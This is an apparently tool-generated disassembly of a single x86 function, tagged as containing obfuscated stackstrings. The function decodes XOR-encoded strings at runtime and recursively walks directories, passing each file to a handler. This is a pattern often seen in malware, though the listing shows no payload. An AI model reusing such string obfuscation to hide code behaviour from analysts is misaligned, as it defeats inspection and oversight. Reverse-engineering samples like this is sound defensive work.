Function at 0x426c55
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x453c91
call fcn.004534f4
sub esp, 0x350
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov edi, ecx
and dword [ebp - 4], 0
mov esi, dword [edi + 0x354]
mov dl, 0x6f
mov dword [ebp - 0x1a], 0x4e4c336f
mov word [ebp - 0x16], 0x45
xor ecx, ecx
mov dword [ebp - 0x44], ecx
cmp ecx, 4
jae 0x426ca3
mov al, byte [ebp + ecx - 0x19]
xor al, dl
mov byte [ebp + ecx - 0x19], al
inc ecx
mov dword [ebp - 0x44], ecx
mov dl, byte [ebp - 0x1a]
jmp 0x426c8b
mov byte [ebp - 0x15], 0
lea eax, [ebp - 0x19]
push eax
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0xc4]
call fcn.00417b5f
cmp dword [eax + 0x14], 0x10
jb 0x426cc1
mov eax, dword [eax]
lea ecx, [ebp - 0x21c]
push ecx
push eax
call esi
mov ebx, eax
lea ecx, [ebp - 0xc4]
call fcn.0040bc59
cmp ebx, 0xffffffff
je 0x426e90
test byte [ebp - 0x21c], 0x10
je 0x426e6f
movaps xmm0, xmmword [0x408240]
movups xmmword [ebp - 0x3d], xmm0
mov dword [ebp - 0x2d], 0x4246466a
mov dword [ebp - 0x29], 0x5a4c40
xor ecx, ecx
mov dword [ebp - 0x48], ecx
cmp ecx, 0x16
jae 0x426d1f
mov al, byte [ebp + ecx - 0x3c]
xor al, byte [ebp - 0x3d]
mov byte [ebp + ecx - 0x3c], al
inc ecx
jmp 0x426d09
mov byte [ebp - 0x26], 0
lea eax, [ebp - 0x1f0]
push eax
lea ecx, [ebp - 0x7c]
call fcn.0040bc98
mov esi, eax
push 0x5c
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0xdc]
call fcn.0043daf1
push esi
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0xac]
call fcn.0041c09c
lea eax, [ebp - 0x3c]
push eax
lea edx, [ebp - 0xac]
lea ecx, [ebp - 0x64]
call fcn.00417bac
lea ecx, [ebp - 0xac]
call fcn.0040bc59
lea ecx, [ebp - 0xdc]
call fcn.0040bc59
lea ecx, [ebp - 0x7c]
call fcn.0040bc59
mov esi, dword [edi + 0x354]
mov al, 0x39
mov dword [ebp - 0x25], 0x37336539
mov dword [ebp - 0x21], 0x7478786c
mov word [ebp - 0x1d], 0x6e72
mov byte [ebp - 0x1b], 0
xor edx, edx
mov dword [ebp - 0x4c], edx
cmp edx, 9
jae 0x426dd1
movsx ecx, al
and ecx, 0x8000000f
jns 0x426dbe
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x24]
sub al, cl
mov byte [ebp + edx - 0x24], al
inc edx
mov dword [ebp - 0x4c], edx
mov al, byte [ebp - 0x25]
jmp 0x426da9
mov byte [ebp - 0x1b], 0
lea eax, [ebp - 0x24]
push eax
lea edx, [ebp - 0x64]
lea ecx, [ebp - 0x94]
call fcn.00417b5f
cmp dword [eax + 0x14], 0x10
jb 0x426def
mov eax, dword [eax]
lea ecx, [ebp - 0x35c]
push ecx
push eax
call esi
mov esi, eax
lea ecx, [ebp - 0x94]
call fcn.0040bc59
cmp esi, 0xffffffff
je 0x426e67
push dword [ebp + 0xc]
lea eax, [ebp - 0x330]
push eax
push 0x5c
lea edx, [ebp - 0x64]
lea ecx, [ebp - 0x7c]
call fcn.0043daf1
mov edx, eax
lea ecx, [ebp - 0x94]
call fcn.00417bac
push eax
mov ecx, edi
call fcn.004267a0
lea ecx, [ebp - 0x94]
call fcn.0040bc59
lea ecx, [ebp - 0x7c]
call fcn.0040bc59
mov eax, dword [edi + 0x358]
lea ecx, [ebp - 0x35c]
push ecx
push esi
call eax
test eax, eax
jne 0x426e0b
mov eax, dword [edi + 0x350]
push esi
call eax
lea ecx, [ebp - 0x64]
call fcn.0040bc59
mov eax, dword [edi + 0x358]
lea ecx, [ebp - 0x21c]
push ecx
push ebx
call eax
test eax, eax
jne 0x426ce1
mov eax, dword [edi + 0x350]
push ebx
call eax
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 8